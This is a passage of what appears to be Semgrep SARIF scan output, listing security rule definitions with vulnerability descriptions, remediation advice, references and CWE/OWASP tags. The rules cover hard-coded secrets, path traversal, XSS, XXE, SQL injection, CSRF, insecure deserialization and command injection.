vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","id":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","name":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django","id":"python.django.file.tainted-file-response-django.tainted-filename-response-django","name":"python.django.file.tainted-file-response-django.tainted-filename-response-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-file-response-django.tainted-filename-response-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"help":{"markdown":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content)\n - [https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11](https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response](https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#response-objects](https://flask.palletsprojects.com/en/1.1.x/api/#response-objects)\n","text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","id":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","name":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","id":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","name":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","id":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","name":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","id":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","name":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"help":{"markdown":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","id":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","name":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","id":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","name":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","id":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","name":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle","id":"python.lang.deserialization.tainted-pickle.tainted-pickle","name":"python.lang.deserialization.tainted-pickle.tainted-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pickle.tainted-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","id":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","name":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"help":{"markdown":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","id":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","name":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi)\n - 